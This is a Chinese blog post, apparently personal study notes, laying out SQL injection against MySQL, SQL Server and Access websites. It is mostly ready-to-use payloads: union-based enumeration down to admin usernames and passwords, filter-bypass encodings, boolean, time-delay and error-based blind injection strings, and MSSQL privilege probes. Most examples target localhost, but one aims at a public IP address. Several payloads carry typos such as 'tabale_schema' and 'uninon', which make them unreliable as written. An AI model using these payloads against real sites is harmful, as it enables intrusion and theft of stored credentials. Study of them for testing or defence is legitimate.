Mysql、Access、Sqlsever數(shù)據(jù)庫注入

本周主要學(xué)習(xí)的事SQL注入相關(guān)的細(xì)節(jié)信息,包括數(shù)據(jù)庫枚舉方式,判定注入點(diǎn)的方式,注入形式等等,具體如下:

【一、判斷數(shù)據(jù)庫類型 】

看到一個(gè)網(wǎng)站首先要判斷網(wǎng)站的數(shù)據(jù)庫類型,首先了解主流的三款數(shù)據(jù)庫

1、Access一般用在小網(wǎng)站上,類似企業(yè)站,功能比較簡(jiǎn)單,對(duì)數(shù)據(jù)要求不高;2、Mssql是一個(gè)比較大的完善的數(shù)據(jù)庫,在windows上常用,配NETASP等程序。3、Mysql是一個(gè)小型的公開源代碼的免費(fèi)數(shù)據(jù)庫,在windows,linux上都常用,和PHP程序組成一對(duì)完美搭檔。

一般PHP 為mysql,asp、aspx為sql sever

mysql數(shù)據(jù)庫 php網(wǎng)頁后綴用'來看是否報(bào)錯(cuò),確定報(bào)錯(cuò)后判斷閉合條件

Mysql【a\Mysql閉合條件查詢】

http://127.0.0.1/day6/1.php?id=1 union select 1,name,pass from admin 數(shù)字型

數(shù)字型不用特意加字符,直接 and1=2檢測(cè)是否有注入點(diǎn);

http://127.0.0.1/day6/1.php?key=-test' union select 1,name,pass from admin? --+? 字符型

字符型需要在'xx--+ 中間輸入命令,'and1=2--+檢測(cè)是否有注入點(diǎn);

http://127.0.0.1/day6/2.php?keyword=test %' order by 3 --+? 搜索型

搜索型需要在%'xx--+中間輸入命令,%'and1=2--+檢測(cè)是否有注入點(diǎn);

http://103.238.227.13:10083/?id=1 %df%27 union select 1,schema_name from information_schema.schemata %23 查詢數(shù)據(jù)庫

寬字節(jié)型需要在%df%27xx%23中間輸入命令,%df%27and1=2%23檢測(cè)是否有注入點(diǎn),查詢列表值得時(shí)候’‘要用0x十六進(jìn)值代替;

【 b/SQL注入過濾限制繞過方法】

1、大小寫過濾:http://xxxx?id=-1 Union SELect 1,2,3

2、空格過濾:http://xxxx?id=-1/**/uninon/**/... ?(標(biāo)黃代替空格)

3、空格和: http://xxxx?id=-1%252f%252a*/and%252f%252a*/1=1

相當(dāng)于是--http://xxxx?id=-1 and 1=1

【C/數(shù)據(jù)庫枚舉查詢】

聯(lián)合查詢數(shù)據(jù)庫名,表名,列值,內(nèi)容方式:

查詢數(shù)據(jù)庫:http://xxxxxx? union select null,schema_name,null from information_schema.schemata

查詢當(dāng)前數(shù)據(jù)庫:http://xxxxxx? union select 1,database(),null

查詢當(dāng)前版本信息:http://xxxxxx? union select 1,user,@@version,null

查詢數(shù)據(jù)表:http://xxxxxx? union select null,table_name,null from information_schema.tables where tabale_schema='xxx'

查詢數(shù)據(jù)字段:http://xxxxxx? union select null,column_name,null from information_schema.columns where tabale_schema='xxx' and table_name='xxxx'

查詢?cè)敿?xì)信息:http://xxxxxx? union select null,column_name,null from schema_name.columa_name

group_concat()查詢?nèi)苛斜?;

【D/盲注】

? 基于布爾SQL盲注--構(gòu)造邏輯判斷

mid()函數(shù)

此函數(shù)為截取字符串一部分。MID(column_name,start[,length])

Sql用例:

(1)MID(DATABASE(),1,1)>’a’,查看數(shù)據(jù)庫名第一位,MID(DATABASE(),2,1)查看數(shù)據(jù)庫名第二位,依次查看各位字符。

(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此處column_name參數(shù)可以為sql語句,可自行構(gòu)造sql語句進(jìn)行注入。

substr()函數(shù)

Substr()和substring()函數(shù)實(shí)現(xiàn)的功能是一樣的,均為截取字符串。

string substring(string, start, length)

string substr(string, start, length)

參數(shù)描述同mid()函數(shù),第一個(gè)參數(shù)為要處理的字符串,start為開始位置,length為截取的長(zhǎng)度。

用法和MID用法一樣的;

Left()函數(shù)

Left()得到字符串左部指定個(gè)數(shù)的字符

Left ( string, n )? ? ? ? string為要截取的字符串,n為長(zhǎng)度。

利用left(database(),1)進(jìn)行嘗試

http://127.0.0.1/test/qwe/sql/01.php?id=1%20and%20left(@@version,1)=5

查看一下version(),數(shù)據(jù)庫的版本號(hào)為5.6.17,這里的語句的意思是看版本號(hào)的第一位是不是5,明顯的返回的結(jié)果是正確的。

? 基于時(shí)間的SQL盲注--延時(shí)注入

延時(shí)注入是主要針對(duì)頁面無變化、無法用布爾真假判斷、無法報(bào)錯(cuò)的情況下的注入技術(shù)。

延時(shí)注入作為最精準(zhǔn)的注入;

首先我們確定該頁面存在延時(shí)注入。延時(shí)注入的使用環(huán)境多為常規(guī)注入無法正常顯示數(shù)據(jù)的情況下,由于時(shí)間問題我們就寫容錯(cuò),直接進(jìn)行延時(shí)注入。

假設(shè)我們輸入常規(guī)注入語句頁面沒有變化,帶入“and sleep(2)”后頁面響應(yīng)時(shí)間出現(xiàn)明顯變化,那么就基本可以確定這是一個(gè)延時(shí)注入。

語句:select if(ascii(mid(user(),1,1))=114,sleep(2),1);? 該語句的意思為查詢user()用戶名截取第一個(gè)字符 然后跟114對(duì)比(114為r的ascii碼),如果條件成立執(zhí)行sleep(2)延時(shí)2秒,否則執(zhí)行查詢輸出1

首先我們用通過union查詢字段長(zhǎng)度。得到字段長(zhǎng)度為3.

帶入查詢語句,我們首先需要知道我們想要得到數(shù)據(jù)的長(zhǎng)度,這里我們以查詢數(shù)據(jù)庫名為例。在我們猜測(cè)7時(shí),if條件成立執(zhí)行sleep函數(shù),證明database()的長(zhǎng)度為7

http://127.0.0.1/index.php?id=1 and if(length(database())=7,sleep(2),1)

知道了長(zhǎng)度我們要做的就是猜解每一位是什么。通過mid函數(shù)取database的第一位進(jìn)行對(duì)比,條件成立執(zhí)行sleep函數(shù),115為s的ascii碼

http://127.0.0.1/test/qwe/sql/8.php?id=1%20and%20if(ascii(mid(database(),1,1))=115,sleep(2),1)

接下來一個(gè)個(gè)猜解

?基于報(bào)錯(cuò)的SQL盲注--報(bào)錯(cuò)注入

基于錯(cuò)誤回顯的sql注入就是通過sql語句的矛盾性來使數(shù)據(jù)被回顯到頁面上

一般是在頁面沒有顯示位、但用echo mysql_error();輸出了錯(cuò)誤信息的時(shí)候使用,

它的特點(diǎn)是注入速度快,但是語句較復(fù)雜,大部分情況只能用limit依次猜解

語句:and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

extractvalue()? 報(bào)錯(cuò)語句用法

http://127.0.0.1/index.php?id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

updatexml()報(bào)錯(cuò)語句用法

http://127.0.0.1/index.php?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

【兩個(gè)語句把user()替換成相關(guān)的其他語句一樣用】

SQLsever【a\Sql sever數(shù)據(jù)庫注入】

基礎(chǔ)查詢

查詢所有:

Select * from 表名

select * from Student

1、說明:創(chuàng)建數(shù)據(jù)庫

CREATE DATABASE database-name

2、說明:刪除數(shù)據(jù)庫

drop database dbname

SELECT TOP 2 * FROM table_name? ? mssql

同等于

SELECT * FROM table_name LIMIT 0,2? ? mysql

判斷數(shù)據(jù)庫類型

Access:

and (select id from MSysAccessObjects) >0 返回正常說明是access

MSSQL:

and (select id from sysobjects) >0 返回正常說明是mssql

MSSSQL? 權(quán)限

sa權(quán)限:數(shù)據(jù)庫操作,文件管理,命令執(zhí)行,注冊(cè)表讀取等 system

db權(quán)限:文件管理,數(shù)據(jù)庫操作等 users-adminstrators

public權(quán)限:數(shù)據(jù)庫操作 guest-users

注入點(diǎn)權(quán)限判斷

and 1=(select is_srvrolemember('sysadmin')) //判斷是否是系統(tǒng)管理員

and 1=(select is_srvrolemember('db_owner')) //判斷是否是庫權(quán)限

and 1=(select is_srvrolemember('public')) //判斷是否為public權(quán)限

----------------

;declare @d int //判斷MsSQL支持多行語句查詢

and user>0 //獲取當(dāng)前數(shù)據(jù)庫用戶名

and db_name()>0 //獲取當(dāng)前數(shù)據(jù)庫名稱

and 1=convert(int,db_name())或1=(select db_name()) //當(dāng)前數(shù)據(jù)庫名

and 1=(select @@servername) //本地服務(wù)名

and 1=(select HAS_DBACCESS('master')) //判斷是否有庫讀取權(quán)限

----------------

注入過程:

'查注入點(diǎn)

1、獲取一個(gè)數(shù)據(jù)庫

and 1=(select top 1 name from master..sysdatabases where dbid>4)

如果你要查詢的是所有數(shù)據(jù)庫(用戶/系統(tǒng)):

select * from master..sysdatabases

如果你要查詢的是用戶數(shù)據(jù)庫,則使用:

select * from master..sysdatabases where dbid > 4

如果你要查詢的是系統(tǒng)數(shù)據(jù)庫,只需要把where字句改為dbid < 4即可。

查詢下一個(gè)數(shù)據(jù)庫

and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> 'acublog')

以此類推可以查詢?nèi)康臄?shù)據(jù)庫

2、獲取第一張表 threads

?id=1 and 1=(select top 1 name from sysobjects where xtype='u')

獲取第二張表 users

?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <> 'threads' )

獲取第三張表 forums

?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <> 'threads' and name <> 'users' )

3、獲取第一列列名 uname

?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users'))

獲取第二列列名 upass

?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and name <> 'uname' )

4、獲取第一個(gè)用戶名

?id=1 and 1=(select top 1 uname from users)

獲取第一個(gè)用戶名對(duì)應(yīng)的密碼

?id=1 and 1=(select top 1 upass from users )

ACCESS【a\Access數(shù)據(jù)庫注入】

判斷注入點(diǎn)

And 1=1

And 1=2

/

-0

判斷數(shù)據(jù)庫類型

and exsits (select * from msysobjects)>0? access

and exsits (select * from sysobjects)>0? ? sqlserver

EXISTS用于檢查子查詢是否至少會(huì)返回一行數(shù)據(jù),該子查詢實(shí)際上并不返回任何數(shù)據(jù),而是返回值True或False

猜表名:

and exists (select * from 你要猜得表名)查看是否存在表名 (存在的情況下頁面刷新正常,同理猜字段一樣的 )

判斷數(shù)據(jù)庫表

and exists (select * from admin)

判斷數(shù)據(jù)庫列名

and exists (select admin from admin)

猜列名的字段名: and exists (select 你要猜的字段名 from 你已經(jīng)才出來的表名)查看是否存在字段名

判斷字段長(zhǎng)度

order by 20

報(bào)錯(cuò)

and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin

數(shù)據(jù)庫聯(lián)合查詢

and 1=2 union select 1,2,admin,4,password,6,7,8,9 from admin

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容